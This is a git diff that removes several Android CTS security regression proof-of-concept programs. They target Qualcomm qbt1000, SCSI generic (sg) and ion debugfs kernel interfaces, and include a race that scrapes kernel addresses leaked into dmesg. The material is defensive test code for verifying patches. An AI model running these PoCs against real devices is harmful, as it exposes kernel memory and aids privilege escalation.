-  cmd.req_buf_len = cmd.rsp_buf_len = 4;
-
-  ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
-}
-
-static void recv_msgs(int fd) {
-  struct msghdr msg = {0};
-  struct iovec io = {0};
-  struct sockaddr_msm_ipc addr = {0};
-  struct msm_ipc_addr address = {0};
-  uint8_t *ptr;
-  struct qmi_header *hdr;
-  int count = 1;
-
-  io.iov_base = malloc(4096);
-  memset(io.iov_base, 0, 4096);
-  io.iov_len = 4096;
-
-  msg.msg_iovlen = 1;
-  msg.msg_iov = &io;
-  msg.msg_name = &addr;
-  msg.msg_namelen = sizeof(addr);
-
-  for (int i = 0; i < 1000; i++) {
-    recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
-    memset(io.iov_base, 0, 128);
-    hdr = io.iov_base;
-
-    hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
-    hdr->txn_id = count++;
-    hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
-    hdr->msg_len = 3;
-
-    ptr = io.iov_base + sizeof(*hdr);
-
-    *ptr = OPTIONAL_TLV_TYPE_START;
-    ptr++;
-    *ptr = 0;
-    ptr++;
-    *ptr = 0;
-    sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
-  }
-}
-
-#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
-static void setup_ipc_server(void) {
-  int fd;
-  struct sockaddr_msm_ipc addr = {0};
-  fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
-
-  if (fd < 0) {
-    exit(EXIT_FAILURE);
-  }
-
-  addr.family = AF_MSM_IPC;
-  addr.address.addrtype = MSM_IPC_ADDR_NAME;
-  addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
-  addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
-      QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
-
-  bind(fd, (struct sockaddr *)&addr, sizeof(addr));
-  recv_msgs(fd);
-  return;
-}
-
-static void *leak_ptr(void *ignore) {
-  void *save;
-  for (int i = 0; i < 1000; i++) {
-    if (app.app_handle != NULL) {
-      save = *app.app_handle;
-      if (save != NULL) {
-        break;
-      }
-    }
-  }
-  return 0;
-}
-
-static void *do_ipc_crap(void *ignore) { setup_ipc_server(); return 0; }
-
-int main2() {
-  int i;
-  int fd = open("/dev/qbt1000", O_RDWR);
-  if (fd < 0) {
-    return 1;
-  }
-
-  struct qbt1000_app app;
-
-  unsigned char *line = malloc(4096);
-  memset(line, 0, 4096);
-
-try_again:
-  system("dmesg -c");
-
-  memset(&app, 0x41, sizeof(app));
-
-  app.app_handle = malloc(64);
-  if (!app.app_handle) {
-    close(fd);
-    return 1;
-  }
-
-  ioctl(fd, QBT1000_LOAD_APP, &app);
-
-  free(app.app_handle);
-  unsigned offset;
-  unsigned bytes_leaked;
-  unsigned char leaked_bytes[256];
-  unsigned idle;
-  pid_t child;
-
-  memset(line, 0, 4096);
-  offset = 0;
-  bytes_leaked = 0;
-  idle = 0;
-  memset(leaked_bytes, 0, sizeof(leaked_bytes));
-  while (!strchr(line, '\n')) {
-    if (klogctl(9, NULL, 0))
-      offset += klogctl(2, &line[offset], 4096);
-    else
-      idle++;
-    if (idle > 1000) return 0;
-  }
-
-  char *inv = strstr(line, "qbt1000_ioctl:");
-  if (!inv) return 0;
-  inv = strstr(inv, "App ");
-  if (!inv) return 0;
-  inv += 4;  // go past "App"
-  char *a;
-  a = strchr(inv, 'A');
-  if (!a) return 0;
-
-  // keep going until no more A's
-  while (*a++ == 'A')
-    ;
-
-  int keep_going = 1;
-  while (*a != '\n' && *a != '\0') {
-    leaked_bytes[bytes_leaked++] = *a++;
-  }
-
-  if (bytes_leaked < 7) {
-    goto fork_it;
-  }
-
-#define KERN_ADDR 0xffffffc000000000
-  // let's do some post-processing to see if we got some pointers
-  for (i = 0; i < bytes_leaked - (sizeof(size_t) - 1); i++) {
-    size_t *c = (size_t *)(&leaked_bytes[i]);
-    if ((*c & KERN_ADDR) == KERN_ADDR) {
-      printf("KERNEL ADDRESS LEAKED = 0x%016lx\n", *c);
-      keep_going = 0;
-    }
-  }
-
-  bytes_leaked = 0;
-  memset(leaked_bytes, 0, sizeof(leaked_bytes));
-
-  if (keep_going) {
-  fork_it:
-    usleep(10000);
-    child = fork();
-    if (child == 0) {
-      return 0;
-    } else {
-      while (child = waitpid(-1, NULL, 0)) {
-        if (errno == ECHILD) break;
-      }
-    }
-  }
-
-  close(fd);
-  free(line);
-  return 0;
-}
-
-int main(void) {
-  pthread_t ipc;
-  pthread_create(&ipc, NULL, do_ipc_crap, NULL);
-
-  usleep(50000);
-
-  main2();
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35644812/Android.mk b/hostsidetests/security/securityPatch/Bug-35644812/Android.mk
deleted file mode 100644
index 8c3d65c..0000000
--- a/hostsidetests/security/securityPatch/Bug-35644812/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35644812
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35644812/poc.c b/hostsidetests/security/securityPatch/Bug-35644812/poc.c
deleted file mode 100644
index c0ca91f..0000000
--- a/hostsidetests/security/securityPatch/Bug-35644812/poc.c
+++ /dev/null
@@ -1,106 +0,0 @@
-/**

- * Copyright (C) 2017 The Android Open Source Project

- *

- * Licensed under the Apache License, Version 2.0 (the "License");

- * you may not use this file except in compliance with the License.

- * You may obtain a copy of the License at

- *

- *      http://www.apache.org/licenses/LICENSE-2.0

- *

- * Unless required by applicable law or agreed to in writing, software

- * distributed under the License is distributed on an "AS IS" BASIS,

- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

- * See the License for the specific language governing permissions and

- * limitations under the License.

- */

-

-#ifndef _GNU_SOURCE

-#define _GNU_SOURCE

-#endif

-

-#include <string.h>

-

-#include <android/log.h>

-#include <dirent.h>

-#include <dlfcn.h>

-#include <errno.h>

-#include <fcntl.h>

-#include <linux/futex.h>

-#include <pthread.h>

-#include <sched.h>

-#include <signal.h>

-#include <stdbool.h>

-#include <stdio.h>

-#include <stdlib.h>

-#include <sys/ioctl.h>

-#include <sys/mman.h>

-#include <sys/mount.h>

-#include <sys/ptrace.h>

-#include <sys/select.h>

-#include <sys/socket.h>

-#include <sys/stat.h>

-#include <sys/syscall.h>

-#include <sys/system_properties.h>

-#include <sys/time.h>

-#include <sys/types.h>

-#include <sys/un.h>

-#include <sys/utsname.h>

-#include <sys/wait.h>

-#include <unistd.h>

-

-int fd;

-

-void in_cpu() {

-  int num_processors = sysconf(_SC_NPROCESSORS_CONF);

-  cpu_set_t get;

-  int i = 0;

-  CPU_ZERO(&get);

-  sched_getaffinity(0, sizeof(cpu_set_t), &get);

-  for (int i = 0; i < num_processors; i++) {

-    if (CPU_ISSET(i, &get)) {

-      printf("The current thread  bound to core %d\n", i);

-    }

-  }

-}

-static void bind_child_to_cpu() {

-  in_cpu();

-  cpu_set_t set;

-  CPU_ZERO(&set);

-  CPU_SET(1, &set);

-  sched_setaffinity(0, sizeof(set), &set);

-  in_cpu();

-}

-

-#define BLKTRACETEARDOWN _IO(0x12, 118)

-#define SG_SET_RESERVED_SIZE 0x2275

-#define SG_GET_RESERVED_SIZE 0x2272

-static void* overwrite(void* param) {

-  int ret;

-  for (int i = 0; i < 100000; i++) {

-    int size = 0x100;

-    int n = ioctl(fd, SG_SET_RESERVED_SIZE, &size);

-    printf("ioctl error =%d %s\n", n, strerror(errno));

-  }

-  return param;

-}

-

-int functionOne() {

-  sleep(2);

-  char filename[128];

-  strcpy(filename, "/dev/sg0");

-

-  fd = open(filename, 2);

-  if (fd == -1) {

-    return -1;

-  }

-

-  pthread_t thread0;

-  for (int i = 0; i < 2; i++) {

-    if (pthread_create(&thread0, NULL, overwrite, NULL))

-      perror("overwritethread pthread_create()");

-  }

-

-  return 0;

-}

-

-int main(int argc, char** argv, char** env) { return functionOne(); }

diff --git a/hostsidetests/security/securityPatch/Bug-35644815/Android.mk b/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
deleted file mode 100644
index 57660e2..0000000
--- a/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
- include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35644815
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35644815/poc.c b/hostsidetests/security/securityPatch/Bug-35644815/poc.c
deleted file mode 100644
index f62812d..0000000
--- a/hostsidetests/security/securityPatch/Bug-35644815/poc.c
+++ /dev/null
@@ -1,136 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <string.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <sched.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-// for opendir / readdir
-#include <dirent.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) \
-  printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-static int set_affinity(int num) {
-  int ret = 0;
-  cpu_set_t mask;
-  CPU_ZERO(&mask);
-  CPU_SET(num, &mask);
-  ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-  if (ret == -1) {
-    ERR("[-] set affinity failed");
-  }
-  return ret;
-}
-
-struct ion_debugfs_handle_header {
-  unsigned int version;
-};
-
-struct ion_debugfs_handle_entry {
-  unsigned int heap_id;
-  size_t size;
-  unsigned int flags;
-  unsigned int handle_count;
-  size_t mapped_size;
-};
-
-struct ion_debugfs_handle {
-  struct ion_debugfs_handle_header hdr;
-  struct ion_debugfs_handle_entry entry;
-};
-
-#define TARGET "/sys/kernel/debug/ion/clients/pids/"
-int main(int argc, char *argv[]) {
-  int i, j, ret, tmpfd;
-  ssize_t rr;
-  char buf[PAGE_SIZE] = {0}, *p;
-  DIR *dir;
-  struct dirent *ent;
-  struct ion_debugfs_handle_header hdr = {0};
-  struct ion_debugfs_handle_entry entry = {0};
-  struct ion_debugfs_handle handle = {0};
-
-  /* bind_cpu */
-  set_affinity(0);
-
-  dir = opendir(TARGET);
-  if (dir == NULL) {
-    ERR("[-] opendir %s failed", TARGET);
-    return -1;
-  }
-
-  while (ent = readdir(dir)) {
-    if (ent->d_type != DT_REG) {
-      continue;
-    }
-
-    memset(buf, 0, PAGE_SIZE);
-    snprintf(buf, PAGE_SIZE, "%s%s", TARGET, ent->d_name);
-
-    tmpfd = open(buf, O_RDWR);
-
-    if (tmpfd == -1) {
-      continue;
-    }
-
-    rr = read(tmpfd, &hdr, sizeof(hdr));
-
-    for (;;) {
-      rr = read(tmpfd, &entry, sizeof(entry));
-      if (rr == 0) {
-        break;
-      }
-
-      if (rr != sizeof(entry)) {
-        break;
-      }
-
-      p = (char *)&entry;
-      p += sizeof(int);
-      for (i = 0; i < sizeof(int); i++) {
-        if(p[i] != 0) {
-          printf("INFO DISC FLAG; ");
-          for (j = 0; j < sizeof(int); j++) {
-            printf("%x", p[j]);
-          }
-          break;
-        }
-      }
-    }
-    close(tmpfd);
-  }
-  closedir(dir);
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/Android.mk b/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
deleted file mode 100644
index 06ab345..0000000
--- a/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35676417
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h b/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h
deleted file mode 100644
index 9f48e60..0000000
--- a/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h
+++ /dev/null
@@ -1,506 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-#define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-#define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-#define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-#define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-#define _IOC_READ 2U
-#endif
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir, type, nr, size)                          \
-  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
-   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
-
-/* used to create numbers */
-#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
-#define _IOR(type, nr, size) \
-  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOW(type, nr, size) \
-  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOWR(type, nr, size) \
-  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-
-/* PCM Audio */
-
-#define AUDIO_IOCTL_MAGIC 'a'
-
-#define AUDIO_START _IOW(AUDIO_IOCTL_MAGIC, 0, unsigned)
-#define AUDIO_STOP _IOW(AUDIO_IOCTL_MAGIC, 1, unsigned)
-#define AUDIO_FLUSH _IOW(AUDIO_IOCTL_MAGIC, 2, unsigned)
-#define AUDIO_GET_CONFIG _IOR(AUDIO_IOCTL_MAGIC, 3, struct msm_audio_config)
-#define AUDIO_SET_CONFIG _IOW(AUDIO_IOCTL_MAGIC, 4, struct msm_audio_config)
-#define AUDIO_GET_STATS _IOR(AUDIO_IOCTL_MAGIC, 5, struct msm_audio_stats)
-#define AUDIO_ENABLE_AUDPP _IOW(AUDIO_IOCTL_MAGIC, 6, unsigned)
-#define AUDIO_SET_ADRC _IOW(AUDIO_IOCTL_MAGIC, 7, unsigned)
-#define AUDIO_SET_EQ _IOW(AUDIO_IOCTL_MAGIC, 8, unsigned)
-#define AUDIO_SET_RX_IIR _IOW(AUDIO_IOCTL_MAGIC, 9, unsigned)
-#define AUDIO_SET_VOLUME _IOW(AUDIO_IOCTL_MAGIC, 10, unsigned)
-#define AUDIO_PAUSE _IOW(AUDIO_IOCTL_MAGIC, 11, unsigned)
-#define AUDIO_PLAY_DTMF _IOW(AUDIO_IOCTL_MAGIC, 12, unsigned)
-#define AUDIO_GET_EVENT _IOR(AUDIO_IOCTL_MAGIC, 13, struct msm_audio_event)
-#define AUDIO_ABORT_GET_EVENT _IOW(AUDIO_IOCTL_MAGIC, 14, unsigned)
-#define AUDIO_REGISTER_PMEM _IOW(AUDIO_IOCTL_MAGIC, 15, unsigned)
-#define AUDIO_DEREGISTER_PMEM _IOW(AUDIO_IOCTL_MAGIC, 16, unsigned)
-#define AUDIO_ASYNC_WRITE _IOW(AUDIO_IOCTL_MAGIC, 17, struct msm_audio_aio_buf)
-#define AUDIO_ASYNC_READ _IOW(AUDIO_IOCTL_MAGIC, 18, struct msm_audio_aio_buf)
-#define AUDIO_SET_INCALL _IOW(AUDIO_IOCTL_MAGIC, 19, struct msm_voicerec_mode)
-#define AUDIO_GET_NUM_SND_DEVICE _IOR(AUDIO_IOCTL_MAGIC, 20, unsigned)
-#define AUDIO_GET_SND_DEVICES \
-  _IOWR(AUDIO_IOCTL_MAGIC, 21, struct msm_snd_device_list)
-#define AUDIO_ENABLE_SND_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 22, unsigned)
-#define AUDIO_DISABLE_SND_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 23, unsigned)
-#define AUDIO_ROUTE_STREAM \
-  _IOW(AUDIO_IOCTL_MAGIC, 24, struct msm_audio_route_config)
-#define AUDIO_GET_PCM_CONFIG _IOR(AUDIO_IOCTL_MAGIC, 30, unsigned)
-#define AUDIO_SET_PCM_CONFIG _IOW(AUDIO_IOCTL_MAGIC, 31, unsigned)
-#define AUDIO_SWITCH_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 32, unsigned)
-#define AUDIO_SET_MUTE _IOW(AUDIO_IOCTL_MAGIC, 33, unsigned)
-#define AUDIO_UPDATE_ACDB _IOW(AUDIO_IOCTL_MAGIC, 34, unsigned)
-#define AUDIO_START_VOICE _IOW(AUDIO_IOCTL_MAGIC, 35, unsigned)
-#define AUDIO_STOP_VOICE _IOW(AUDIO_IOCTL_MAGIC, 36, unsigned)
-#define AUDIO_REINIT_ACDB _IOW(AUDIO_IOCTL_MAGIC, 39, unsigned)
-#define AUDIO_OUTPORT_FLUSH _IOW(AUDIO_IOCTL_MAGIC, 40, unsigned short)
-#define AUDIO_SET_ERR_THRESHOLD_VALUE \
-  _IOW(AUDIO_IOCTL_MAGIC, 41, unsigned short)
-#define AUDIO_GET_BITSTREAM_ERROR_INFO \
-  _IOR(AUDIO_IOCTL_MAGIC, 42, struct msm_audio_bitstream_error_info)
-
-#define AUDIO_SET_SRS_TRUMEDIA_PARAM _IOW(AUDIO_IOCTL_MAGIC, 43, unsigned)
-
-/* Qualcomm extensions */
-#define AUDIO_SET_STREAM_CONFIG \
-  _IOW(AUDIO_IOCTL_MAGIC, 80, struct msm_audio_stream_config)
-#define AUDIO_GET_STREAM_CONFIG \
-  _IOR(AUDIO_IOCTL_MAGIC, 81, struct msm_audio_stream_config)
-#define AUDIO_GET_SESSION_ID _IOR(AUDIO_IOCTL_MAGIC, 82, unsigned short)
-#define AUDIO_GET_STREAM_INFO \
-  _IOR(AUDIO_IOCTL_MAGIC, 83, struct msm_audio_bitstream_info)
-#define AUDIO_SET_PAN _IOW(AUDIO_IOCTL_MAGIC, 84, unsigned)
-#define AUDIO_SET_QCONCERT_PLUS _IOW(AUDIO_IOCTL_MAGIC, 85, unsigned)
-#define AUDIO_SET_MBADRC _IOW(AUDIO_IOCTL_MAGIC, 86, unsigned)
-#define AUDIO_SET_VOLUME_PATH _IOW(AUDIO_IOCTL_MAGIC, 87, struct msm_vol_info)
-#define AUDIO_SET_MAX_VOL_ALL _IOW(AUDIO_IOCTL_MAGIC, 88, unsigned)
-#define AUDIO_ENABLE_AUDPRE _IOW(AUDIO_IOCTL_MAGIC, 89, unsigned)
-#define AUDIO_SET_AGC _IOW(AUDIO_IOCTL_MAGIC, 90, unsigned)
-#define AUDIO_SET_NS _IOW(AUDIO_IOCTL_MAGIC, 91, unsigned)
-#define AUDIO_SET_TX_IIR _IOW(AUDIO_IOCTL_MAGIC, 92, unsigned)
-#define AUDIO_GET_BUF_CFG _IOW(AUDIO_IOCTL_MAGIC, 93, struct msm_audio_buf_cfg)
-#define AUDIO_SET_BUF_CFG _IOW(AUDIO_IOCTL_MAGIC, 94, struct msm_audio_buf_cfg)
-#define AUDIO_SET_ACDB_BLK \
-  _IOW(AUDIO_IOCTL_MAGIC, 95, struct msm_acdb_cmd_device)
-#define AUDIO_GET_ACDB_BLK \
-  _IOW(AUDIO_IOCTL_MAGIC, 96, struct msm_acdb_cmd_device)
-
-#define AUDIO_REGISTER_ION \
-  _IOW(AUDIO_IOCTL_MAGIC, 97, struct msm_audio_ion_info)
-#define AUDIO_DEREGISTER_ION \
-  _IOW(AUDIO_IOCTL_MAGIC, 98, struct msm_audio_ion_info)
-#define AUDIO_SET_EFFECTS_CONFIG \
-  _IOW(AUDIO_IOCTL_MAGIC, 99, struct msm_hwacc_effects_config)
-#define AUDIO_EFFECTS_SET_BUF_LEN \
-  _IOW(AUDIO_IOCTL_MAGIC, 100, struct msm_hwacc_buf_cfg)
-#define AUDIO_EFFECTS_GET_BUF_AVAIL \
-  _IOW(AUDIO_IOCTL_MAGIC, 101, struct msm_hwacc_buf_avail)
-#define AUDIO_EFFECTS_WRITE _IOW(AUDIO_IOCTL_MAGIC, 102, void *)
-#define AUDIO_EFFECTS_READ _IOWR(AUDIO_IOCTL_MAGIC, 103, void *)
-#define AUDIO_EFFECTS_SET_PP_PARAMS _IOW(AUDIO_IOCTL_MAGIC, 104, void *)
-
-#define AUDIO_PM_AWAKE _IOW(AUDIO_IOCTL_MAGIC, 105, unsigned)
-#define AUDIO_PM_RELAX _IOW(AUDIO_IOCTL_MAGIC, 106, unsigned)
-
-#define AUDIO_MAX_COMMON_IOCTL_NUM 107
-
-#define HANDSET_MIC 0x01
-#define HANDSET_SPKR 0x02
-#define HEADSET_MIC 0x03
-#define HEADSET_SPKR_MONO 0x04
-#define HEADSET_SPKR_STEREO 0x05
-#define SPKR_PHONE_MIC 0x06
-#define SPKR_PHONE_MONO 0x07
-#define SPKR_PHONE_STEREO 0x08
-#define BT_SCO_MIC 0x09
-#define BT_SCO_SPKR 0x0A
-#define BT_A2DP_SPKR 0x0B
-#define TTY_HEADSET_MIC 0x0C
-#define TTY_HEADSET_SPKR 0x0D
-
-/* Default devices are not supported in a */
-/* device switching context. Only supported */
-/* for stream devices. */
-/* DO NOT USE */
-#define DEFAULT_TX 0x0E
-#define DEFAULT_RX 0x0F
-
-#define BT_A2DP_TX 0x10
-
-#define HEADSET_MONO_PLUS_SPKR_MONO_RX 0x11
-#define HEADSET_MONO_PLUS_SPKR_STEREO_RX 0x12
-#define HEADSET_STEREO_PLUS_SPKR_MONO_RX 0x13
-#define HEADSET_STEREO_PLUS_SPKR_STEREO_RX 0x14
-
-#define I2S_RX 0x20
-#define I2S_TX 0x21
-
-#define ADRC_ENABLE 0x0001
-#define EQUALIZER_ENABLE 0x0002
-#define IIR_ENABLE 0x0004
-#define QCONCERT_PLUS_ENABLE 0x0008
-#define MBADRC_ENABLE 0x0010
-#define SRS_ENABLE 0x0020
-#define SRS_DISABLE 0x0040
-
-#define AGC_ENABLE 0x0001
-#define NS_ENABLE 0x0002
-#define TX_IIR_ENABLE 0x0004
-#define FLUENCE_ENABLE 0x0008
-
-#define VOC_REC_UPLINK 0x00
-#define VOC_REC_DOWNLINK 0x01
-#define VOC_REC_BOTH 0x02
-
-struct msm_audio_config {
-  uint32_t buffer_size;
-  uint32_t buffer_count;
-  uint32_t channel_count;
-  uint32_t sample_rate;
-  uint32_t type;
-  uint32_t meta_field;
-  uint32_t bits;
-  uint32_t unused[3];
-};
-
-struct msm_audio_stream_config {
-  uint32_t buffer_size;
-  uint32_t buffer_count;
-};
-
-struct msm_audio_buf_cfg {
-  uint32_t meta_info_enable;
-  uint32_t frames_per_buf;
-};
-
-struct msm_audio_stats {
-  uint32_t byte_count;
-  uint32_t sample_count;
-  uint32_t unused[2];
-};
-
-struct msm_audio_ion_info {
-  int fd;
-  void *vaddr;
-};
-
-struct msm_audio_pmem_info {
-  int fd;
-  void *vaddr;
-};
-
-struct msm_audio_aio_buf {
-  void *buf_addr;
-  uint32_t buf_len;
-  uint32_t data_len;
-  void *private_data;
-  unsigned short mfield_sz; /*only useful for data has meta field */
-};
-
-/* Audio routing */
-
-#define SND_IOCTL_MAGIC 's'
-
-#define SND_MUTE_UNMUTED 0
-#define SND_MUTE_MUTED 1
-
-struct msm_mute_info {
-  uint32_t mute;
-  uint32_t path;
-};
-
-struct msm_vol_info {
-  uint32_t vol;
-  uint32_t path;
-};
-
-struct msm_voicerec_mode {
-  uint32_t rec_mode;
-};
-
-struct msm_snd_device_config {
-  uint32_t device;
-  uint32_t ear_mute;
-  uint32_t mic_mute;
-};
-
-#define SND_SET_DEVICE _IOW(SND_IOCTL_MAGIC, 2, struct msm_device_config *)
-
-enum cad_device_path_type {
-  CAD_DEVICE_PATH_RX,    /*For Decoding session*/
